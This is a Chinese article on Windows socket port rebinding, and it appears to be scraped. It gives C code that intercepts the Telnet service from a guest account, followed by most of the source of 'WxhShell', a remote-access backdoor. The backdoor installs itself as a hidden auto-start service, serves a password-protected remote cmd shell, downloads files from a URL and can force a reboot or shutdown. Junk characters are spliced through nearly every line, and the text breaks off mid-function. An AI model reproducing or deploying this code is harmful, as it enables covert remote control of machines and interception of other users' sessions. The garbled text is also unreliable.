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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S`R
( _eD@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y /PEm)=Tt n3)g{K^ saddr.sin_family = AF_INET; ~U^0z|. #v v
k7 saddr.sin_addr.s_addr = htonl(INADDR_ANY); J>+Dv?Ni$ gy>2=d bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BBp
Hp 2L,e\]2Z 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z|7Y1W[ "+rX*~ 这意味着什么?意味着可以进行如下的攻击: Vb1@JC9b X&McNO6" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jeJGxfi i O<+C$J| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c XY!b=9 o30PI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1LE8,Gm& H8\N~> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 hwO]{)% SKYS6b 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GWhb@K S</"^C51J 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F\XzP\ U%KoG-# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8gx^e./ `j<'*v
zo #include ucMl>G'!gX #include uxR_(~8 #include e0hT #include qV(Plt% DWORD WINAPI ClientThread(LPVOID lpParam); 3rWqt int main() rL%xl,cn< { lID5mg31 WORD wVersionRequested; [szwPNQ_ DWORD ret; CUYp(GU WSADATA wsaData; zZDr=6|r_ BOOL val; ."H5.' SOCKADDR_IN saddr;
0.Iw/e SOCKADDR_IN scaddr; IP~g7`Y int err; UL{Xe&sT SOCKET s; E(S}c*05O SOCKET sc; #S1)n[ int caddsize; fCTjTlh HANDLE mt; D}_\oE/n DWORD tid; -Y+[`0$' wVersionRequested = MAKEWORD( 2, 2 ); Oo#wPT;1^( err = WSAStartup( wVersionRequested, &wsaData ); K&S~IFy if ( err != 0 ) { u{\`*dNx printf("error!WSAStartup failed!\n"); S4tdWA return -1; ah}aL7dgO } ^beW*O! saddr.sin_family = AF_INET; \(Hg_]>m tBf u{oC //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [y:6vC OCX?U50am saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $y`|zK|G- saddr.sin_port = htons(23); 7&+Gv6E if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 20K<}:5t1 { H{+U; 6b printf("error!socket failed!\n"); 2/h Mx- return -1; "cti(0F-d } TX 12$p\ val = TRUE; n ,H;PB //SO_REUSEADDR选项就是可以实现端口重绑定的 )"q2DjfX* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :1AOund { ^91k@MC printf("error!setsockopt failed!\n"); L6',s4 return -1; z? cRsqf } }]f)Fz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .&L#%C //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0tl //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *ZY{^f K;YK[M1! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =b;v:HC { c[Y7tj%y ret=GetLastError(); 5[I9/4, printf("error!bind failed!\n"); H p1cVs return -1; ; xs?^N| } |_2O:7qe listen(s,2); 1 iE while(1) c !5OK4+Z { ^&.F! caddsize = sizeof(scaddr); 'av
OQj]`K //接受连接请求 ";xG[ne$Be sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s=28. if(sc!=INVALID_SOCKET) }-Zfljj { ;}:"[B3$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EI+.Q if(mt==NULL) u(d>R5}' { cU*7E39 printf("Thread Creat Failed!\n"); ogPxj KSI break; }z[O_S,X } `<
VoZ/v } YwKY3kL CloseHandle(mt); <6Br]a60RR } 8)sqj= closesocket(s); *S;v406 WSACleanup(); ~C[R%%Gu return 0; qA*QFQ'- } uD<*g(R DWORD WINAPI ClientThread(LPVOID lpParam) [=XsI]B\ { K34y3i_ SOCKET ss = (SOCKET)lpParam; bu\,2t}B SOCKET sc; l%;)0gT unsigned char buf[4096]; ydBoZ3 } SOCKADDR_IN saddr; &?x^I{j long num; l&E- H@Pe DWORD val; b$VdTpz DWORD ret; D<nTo&m_ //如果是隐藏端口应用的话,可以在此处加一些判断 >j\zj] -" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ah~7T~ saddr.sin_family = AF_INET; )LnHm saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Wk}d(f saddr.sin_port = htons(23); d~YDg{H if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `qX'9e3VP+ { RU#Q<QI( printf("error!socket failed!\n"); 2\m+ return -1; gpO@xk$ } '9i:b]Hru val = 100; C[&Lh_F\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W"z!sf5U { ~Ge-7^Fo7 ret = GetLastError(); 5$N4<Lo7 return -1; .XS rLb? } TN` pai0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jtl7t59R { l HZf'P_Wx ret = GetLastError(); o#E
z_D[ return -1; -rU *)0PR } ?^k-)V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T w/CJg
{ nuXaZRH printf("error!socket connect failed!\n"); U4M!RdG closesocket(sc); zYF'XB]4 closesocket(ss); d4gl V`%. return -1; E]"ePdZZ/ } 1jQz%^~ while(1) X%39cXM C { K2)),_,@5+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XPb7gd"%W //如果是嗅探内容的话,可以再此处进行内容分析和记录 :*@=px //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C9({7[k^% num = recv(ss,buf,4096,0); hX~IZ((Hi8 if(num>0) !t[X/iu send(sc,buf,num,0); 1\_4# @') else if(num==0) 4uDz=B+8y break; c1e7h l num = recv(sc,buf,4096,0); AY|8wf,LS if(num>0) W0l|E&fj[ send(ss,buf,num,0); t5[{ihv~: else if(num==0) ^d-`?zb break; 5Sk87o1E(d } F5&4x"c closesocket(ss); Ma wio5 closesocket(sc); R '"J{oR return 0 ; |jc87(x< } AVHn7olG Kkdd }j 8h-6;x^^ ========================================================== BDc*N]m}B1 f+ J<sk 下边附上一个代码,,WXhSHELL ;V`~'357% C %y AMQ ========================================================== OfY>~d N',]WZ} #include "stdafx.h" yn4Xi@9Pri N2=gSEY #include <stdio.h> / ijj;9EB #include <string.h> oP_'0h0X #include <windows.h> e)>Z&e,3 #include <winsock2.h> SIzW3y[ #include <winsvc.h> V=.lpj9m #include <urlmon.h> rOH8W I)9;4lix #pragma comment (lib, "Ws2_32.lib") e-\J!E'1F #pragma comment (lib, "urlmon.lib") ,,b_x@y* 980[]&( #define MAX_USER 100 // 最大客户端连接数 $UO7AHk #define BUF_SOCK 200 // sock buffer - C8h$P #define KEY_BUFF 255 // 输入 buffer (F~eknJ T?NwSxGo #define REBOOT 0 // 重启 q'd6\G0} #define SHUTDOWN 1 // 关机 "k5 C? ~ ?OlYJ/!z3 #define DEF_PORT 5000 // 监听端口 LYv+Sv ^]AjcctGr #define REG_LEN 16 // 注册表键长度
{.;MsE #define SVC_LEN 80 // NT服务名长度 !f]F'h8 e#SNN-hKsJ // 从dll定义API JzCfs<D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z`m-Ca>6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ] E`J5o}op typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qx'a+kLu9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W!V06. 9:4P7 // wxhshell配置信息 h}rrsVj3 struct WSCFG { @N"h,(^ int ws_port; // 监听端口 2t/ba3Rfk char ws_passstr[REG_LEN]; // 口令 xlv:+ int ws_autoins; // 安装标记, 1=yes 0=no A:&
`oJl char ws_regname[REG_LEN]; // 注册表键名 ]={:VsnL char ws_svcname[REG_LEN]; // 服务名 4?1Ac7bE char ws_svcdisp[SVC_LEN]; // 服务显示名 C5 ^_R char ws_svcdesc[SVC_LEN]; // 服务描述信息 s
XRiUDP` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C`7HC2Is int ws_downexe; // 下载执行标记, 1=yes 0=no 6HFA2~A char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" XOVZ'V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J(g!>Sp!p axonqSf }; }a|SgI $l-j(=Md // default Wxhshell configuration Oa
CkU struct WSCFG wscfg={DEF_PORT, J1yy6Wq3[ "xuhuanlingzhe", 1 NLawi6 1, 5{[3I|m{ "Wxhshell", .V
9E@_( "Wxhshell", Nr6YQH*[ "WxhShell Service", rOS fDv "Wrsky Windows CmdShell Service", zxTm`Dh;[ "Please Input Your Password: ", \d]&}`'4{f 1, 9F ).i " http://www.wrsky.com/wxhshell.exe", wW]|ElYR= "Wxhshell.exe" oI/@w }; *
vEG%Y ?r2Im5N // 消息定义模块 I&1h/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R qOEQ*k char *msg_ws_prompt="\n\r? for help\n\r#>"; SL>>]A,E<` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 64o`7 char *msg_ws_ext="\n\rExit."; Td
X6<fVV char *msg_ws_end="\n\rQuit."; >LwAG:Ud char *msg_ws_boot="\n\rReboot..."; -P@o>#Em char *msg_ws_poff="\n\rShutdown..."; qeH#c=DQ char *msg_ws_down="\n\rSave to "; ?(;ygjyx )u'oI_ char *msg_ws_err="\n\rErr!"; .ikFqZ$$ char *msg_ws_ok="\n\rOK!"; pi3Z)YcT ~ m,z| char ExeFile[MAX_PATH]; x!]ZVl] int nUser = 0; HC+(FymV HANDLE handles[MAX_USER]; $BkdC'D int OsIsNt; ,dK% [ ezC55nm SERVICE_STATUS serviceStatus; eNi.d;8F SERVICE_STATUS_HANDLE hServiceStatusHandle; %ktU 51o jFbz:aUF // 函数声明 Eki7bT@/ int Install(void); @_h/%>0 int Uninstall(void); nYTI\f/8v int DownloadFile(char *sURL, SOCKET wsh); =r:D]?8oC int Boot(int flag); f+-w~cN void HideProc(void); YdhrFw0`~r int GetOsVer(void); RR*z3i`PP int Wxhshell(SOCKET wsl); &.K=,+0_R/ void TalkWithClient(void *cs); /,c9&it(M int CmdShell(SOCKET sock); m 9.QGX\] int StartFromService(void); (y=P-nm int StartWxhshell(LPSTR lpCmdLine); UOT~L4G 6TlkPM$~2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >c;qIP)Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); nke[}Hqf T[~ak"M // 数据结构和表定义 xAon:58m{ SERVICE_TABLE_ENTRY DispatchTable[] = *`=V"nXw$| {
lf[( {wscfg.ws_svcname, NTServiceMain}, NrhU70y {NULL, NULL} ?N&"WL^| }; //_v"dqP{) [{f{E // 自我安装 4$1sBY/ int Install(void) p+#uPY1# { ~?+Jt3?, char svExeFile[MAX_PATH]; MpGWt# HKEY key; c
R[DT04 strcpy(svExeFile,ExeFile); s:i$ s") P_lk40X // 如果是win9x系统,修改注册表设为自启动 f:=q=i if(!OsIsNt) { }V6}>!Sb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9iUkvnphh RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qwiM.b5 RegCloseKey(key); QR\qGhQ~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Q[5U9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ){icI< RegCloseKey(key); U3ED3)
D return 0; L#m1!+J } N r
uXXd } <+
>y GPp } j""u:l^+x else { zT0FTAl^ /c]I|$v // 如果是NT以上系统,安装为系统服务 }#a d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +'y$XR~W { if (schSCManager!=0) A
ElNf: { .y#@~H($ SC_HANDLE schService = CreateService p@YU7_sF^! ( GwxfnCKi9 schSCManager, _u]Wr%D@ wscfg.ws_svcname, `~VV1 wscfg.ws_svcdisp, HwiG~'Ah9 SERVICE_ALL_ACCESS, SI4M<'fK SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o%RyE]pw, SERVICE_AUTO_START, 7K%Ac SERVICE_ERROR_NORMAL, B
,e3r svExeFile, pR; AqDQ NULL,
s@K|zOx NULL, ko=vK%E[ NULL, gM^ Hs7o, NULL, Aum&U){yY NULL Kw"7M~ ); o3qBRT0[R if (schService!=0) -jFvDf,M,D { }9:d(B9; CloseServiceHandle(schService); cQA;Y!Q# CloseServiceHandle(schSCManager); u\Tq5PYXt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e#<%`\qH strcat(svExeFile,wscfg.ws_svcname); ikw_t? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O{%yO=`r RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4$@5PS#, RegCloseKey(key); 118A6qyi return 0; rB<
UOe } EO:i+e]= } j1_CA5V CloseServiceHandle(schSCManager); OU/PB } diaLw } :BNqr[=b Y'DI@ return 1; Z ZX|MA! } 1<Qb"FN!2 [59_n{S 1 // 自我卸载 5)AMl) int Uninstall(void) &Plc { [y W0U:m HKEY key; xbvZ7g^ ?FA} ;?v if(!OsIsNt) { #JWW ;M6F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nw/4z$].J RegDeleteValue(key,wscfg.ws_regname); =NQDxt} RegCloseKey(key); @9~6+BZOq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VK[^v; RegDeleteValue(key,wscfg.ws_regname); zr-HL:js RegCloseKey(key); 6H53FMqr return 0; ;S7MP`o@ } {M )Y6\v } sV%<U-X } )4toBDg" else { OT+=H)/ >DP9S@W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); LD0x 4zm$m if (schSCManager!=0) Uz} #. { AU OL?st SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AD_")_B|i if (schService!=0) h-].?X,]Q { tMR&>hM if(DeleteService(schService)!=0) { &'TZU"_ CloseServiceHandle(schService); 0r*E$|zZ CloseServiceHandle(schSCManager); .hzzoLI2 return 0; zn@<>o8hU } X3-pj<JLY CloseServiceHandle(schService); b8r?Dd"T8 } '=Nb`n3% CloseServiceHandle(schSCManager); &5h{XSv } o:W>7~$jr= } Ej~vp2 c>6dlWTqX return 1; G3
rTzMO } YC8wo1;Y! J<'[P$D // 从指定url下载文件 lmi,P-Q int DownloadFile(char *sURL, SOCKET wsh) z"Miy { ~:'tp28? HRESULT hr; 1hp`.!3]H char seps[]= "/"; ?#YheML? char *token; :PE{2* char *file; Qz=F
nR char myURL[MAX_PATH];
U*!q@g_ char myFILE[MAX_PATH]; opU=49b |r>+\" X strcpy(myURL,sURL); 7 XE&[o token=strtok(myURL,seps); NvW`x while(token!=NULL) * ?x$q/a { AJ}QS?p8s file=token; B52n'. token=strtok(NULL,seps); mvgsf(a*' } Tsch:r S Y3=5J\d!a GetCurrentDirectory(MAX_PATH,myFILE); #s>AiD strcat(myFILE, "\\"); &&T\PspM strcat(myFILE, file); /Jj7+? send(wsh,myFILE,strlen(myFILE),0); c!*yxzs\ send(wsh,"...",3,0);
kw{dvE\K hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1y'8bt~7Pf if(hr==S_OK) C~-x637/ return 0; ]9qY(m else js;p7wi return 1; o@:${>jw Heh.CD)Q } @6h,#8# nsn // 系统电源模块 gR1vUad7 int Boot(int flag) ,.DTJ7H+ { E:vgG|?? HANDLE hToken; H1>~,zc>E TOKEN_PRIVILEGES tkp; [$M=+YRHMW K)b@,/ 5 if(OsIsNt) { K</EVt,U~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #NQpr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]8@s+N tkp.PrivilegeCount = 1; qW+'#Jh@TV tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %hDx UZ#0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); niC ;WK if(flag==REBOOT) { C2}n &{T if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V6Z~#=EQ return 0; ~&HP}Q$#f } ^/]w}C#:d else { M^IEu} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?#s9@R1 return 0; -&q@|h' } cD.afy } ;QO3^P} else { *$e1Bv6
$ if(flag==REBOOT) { # dA9v7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <<'%2q5 return 0; =z>d GIT1 } +FomAs1*f else { jkAWRpOc) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]#k=VKdV return 0; H=lzW_( } ?vt#M^Q
} aa2 vk)~ o8 _)) return 1; 5 EhOvt8 } 'Em3;`/C*+ 7N:3 // win9x进程隐藏模块 TOT#l6yqdd void HideProc(void) M(
w'TE@ { O06 2c)vIY Cv[_N%3[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j]HzI{7y if ( hKernel != NULL ) :2t0//@X { ='A VI-go5 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <+y%k~(" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "m#17J_ FreeLibrary(hKernel); K_!R } 0<i8
;2KD i?wEd!=w return; T.(C`/VM } A_eO r4 $<,~ // 获取操作系统版本 rEHlo[7^ int GetOsVer(void) o|G'vMph { $^:s)Yv OSVERSIONINFO winfo; Qm_IU!b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `T\_Wje( GetVersionEx(&winfo); bv^wE,+?o if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f9K+o-P.h return 1; 7D(Eo{ue else KvjsibI/Y return 0; S>Z07d6 & } gV}c4>v( !78P+i // 客户端句柄模块 o75l&` int Wxhshell(SOCKET wsl) _V`F_C\\# { HPMj+xH SOCKET wsh; *iX PG9XZ struct sockaddr_in client; 4A0v>G`E*# DWORD myID; >sjvE4s j>8S,b=% while(nUser<MAX_USER) n'To: { "D,}| int nSize=sizeof(client); &=*sN` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R$h
B9BK if(wsh==INVALID_SOCKET) return 1; 2c*w{\X /
Q| Z&-c handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B?%e-xV- if(handles[nUser]==0) \@[Y~: closesocket(wsh); IM$ d~C else `h%K8];<6f nUser++; 6t\0Ui } G%A!yV WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2=
Y8$- w=_q<1a return 0; }y1r
yeW< } .[r1Qz7G 1l5'N=hL // 关闭 socket +H:}1sT;n void CloseIt(SOCKET wsh) DHg)]FQ/ { Or#KF6+ut closesocket(wsh); B&QEt[=s nUser--; wP7
E8' ExitThread(0); =pZ$oTR } X2|&\G9c
(A )f
r4 // 客户端请求句柄 tdHeZv void TalkWithClient(void *cs) iCJXV' { 5dX /< 8d?%9# p-) SOCKET wsh=(SOCKET)cs; Bz(L}V]\k char pwd[SVC_LEN]; URbHVPCPb char cmd[KEY_BUFF]; -FF#+Z$ char chr[1]; Yl&bv#[z int i,j; m*wDJEKo Q#F9&{'l while (nUser < MAX_USER) { Aj8zFt] }hE!0q~MfM if(wscfg.ws_passstr) { /PVx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U2)?[C1q{ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g"~`\xhx //ZeroMemory(pwd,KEY_BUFF); F}.R-j# i=0; ;}lsD1S: while(i<SVC_LEN) { J%]5C}v \ 1#3eY?Nb // 设置超时 ^-LnO%h? fd_set FdRead; n&!q9CR` struct timeval TimeOut; ~Ede5Vg!!2 FD_ZERO(&FdRead); #@' B\!<@= FD_SET(wsh,&FdRead); )(OGo`4Qz TimeOut.tv_sec=8; ~g9~D}48k' TimeOut.tv_usec=0; ]UkqPtG; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4B9D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9mW {e$@i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZA&bp{}D pwd =chr[0]; mBEMwJ}O` if(chr[0]==0xd || chr[0]==0xa) { ]Exbuc pwd=0; k]A=Q break; Q,M,^_ } r0wAh/J| i++; d;,Jf*x\ } B8unF=u 0dIGX |e // 如果是非法用户,关闭 socket .F'Cb)Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .+mP#<mAg } odDVdVx0 8>G5VhCm~o send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ex#-,;T send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <`WDNi$Y Ci 'V while(1) { 7xM4=\~OG :]4s;q:m ZeroMemory(cmd,KEY_BUFF); IAWs}xIly \PD%=~ // 自动支持客户端 telnet标准 p(-EtxP j=0; *Kpw@4G while(j<KEY_BUFF) { *ZV3]ig2$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /3.;sS]B cmd[j]=chr[0]; He$v'87] if(chr[0]==0xa || chr[0]==0xd) { l*(L"] cmd[j]=0; BUdO:fr break; }
@
[!%hE } AQtOTT$ j++; KzX)6|g{" } i03=Af3 mq}UUk@ // 下载文件 uP$i2Cy if(strstr(cmd,"http://")) { h+7U'+|%A send(wsh,msg_ws_down,strlen(msg_ws_down),0); j >`FZKxp if(DownloadFile(cmd,wsh)) G0kF[8Am send(wsh,msg_ws_err,strlen(msg_ws_err),0); G O"E>FyB else _>)@6srC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qW*k|;S } >Hmho' else { QkWEVL@uM fT{jD_Q+3 switch(cmd[0]) { ^Y!$WP H]*B5Jv~ // 帮助 ^$mCF%e8H case '?': { 4`'Rm/) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .76Z break; -GCU6U| } R5mb4 // 安装 i!fk'Yt% case 'i': { {MN6JGb|' if(Install()) YzJWS|] send(wsh,msg_ws_err,strlen(msg_ws_err),0); p.<d+S< else QpiDBJCL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~}/_QlX` K break; ,$aqF<+; } T24$lhM // 卸载 1NG[ case 'r': { FI[]# if(Uninstall()) ,-kz\N@. send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dw 5Ze else fOKAy' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =*.S<Ko) break; /cVZ/" } 0C3Y =F // 显示 wxhshell 所在路径 Q<DXDvL case 'p': { >s!k"s, char svExeFile[MAX_PATH]; Y9
Bk$$#\ strcpy(svExeFile,"\n\r"); xT( pB-R strcat(svExeFile,ExeFile); /XA*:8~! send(wsh,svExeFile,strlen(svExeFile),0); 9xK#(M break; 4#t=%} } AFeFH.G6Jr // 重启 o.Bbb=*rZ case 'b': { D(&Zq7]n send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t8; nP[` if(Boot(REBOOT)) rWqr-"0S. send(wsh,msg_ws_err,strlen(msg_ws_err),0); zGc]*R else { -<AGCiLz closesocket(wsh); dj4a)p|YN ExitThread(0); ![eY%2;< } 1bDAi2 H break; &LG|YvMY6 } eYn/F~5- // 关机 6OJhF7\0& case 'd': { XWX]/j2jA send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DwK$c^2q{. if(Boot(SHUTDOWN)) B/mfm 7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~0o>B$xJ else { IFZw54 closesocket(wsh); 56u_viZ=8 ExitThread(0); ~9,Fc6w4`+ } sHV?njZd break; loHMQKy@ } \4
+HNy3 // 获取shell `,Y3(=3Xe? case 's': { rmFcSolt,f CmdShell(wsh); 0-uVmlk=/ closesocket(wsh); iSfRo31 ExitThread(0); C1qlB8(Wh> break; RE-y5.kE^ } K|Xe) // 退出 -s7!:MB%g case 'x': { U-$nwji send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #;+SAoN
CloseIt(wsh); :22wq{ break; %h;1}SFl0 } TTWiwPo59 // 离开 |+JC'b?, case 'q': { ccx0aC3@I send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;?TM_%> closesocket(wsh); V&/Cb&~Uw WSACleanup(); e~9g~k]s exit(1); FF7?|V!Q break; eLV[U } ytb1h Fs } S)'&+HamI } ELg$tc sXT8jLIf // 提示信息 +tG' if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \.GA"_y } !/!Fc'A } E8wkqZN L$"pk{' return; a]6dhQ` } >svx
8CT 1zCgPiAem // shell模块句柄 CHjm7 int CmdShell(SOCKET sock) ,w=u? { NF-@Q@ STARTUPINFO si; 4af^SZ)l ZeroMemory(&si,sizeof(si)); `D$RL*C;M` si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j0n.+CO-{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )(c%QWz PROCESS_INFORMATION ProcessInfo; jR+kx:+ char cmdline[]="cmd"; NSR][h_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #BgiDLh return 0; +CXq41g"c } {d)L0KXK hvA|d=R( // 自身启动模式 m%.[|sZ3EM int StartFromService(void) gO@LJ { RXu`DWN typedef struct 9C!b
f \ { <^942y-= DWORD ExitStatus; 9T1-{s
R DWORD PebBaseAddress; 3;!!`R>e DWORD AffinityMask; MOi1+`kwh DWORD BasePriority; :2XX~| ULONG UniqueProcessId; sv#b5,>9 ULONG InheritedFromUniqueProcessId; T&:~= } PROCESS_BASIC_INFORMATION; Um*&S.y S0LaQ<9. PROCNTQSIP NtQueryInformationProcess; THgEHR0,}[ uU-1;m#N? static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; afu!.}4Ct static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,Vof<,x0 '!`]Zc HANDLE hProcess; @~&^1%37) PROCESS_BASIC_INFORMATION pbi; gkca{BJ qagR?)N)u HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]mC5Z6,1s if(NULL == hInst ) return 0; >McEuoZx9 5dbj{r)s6i g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 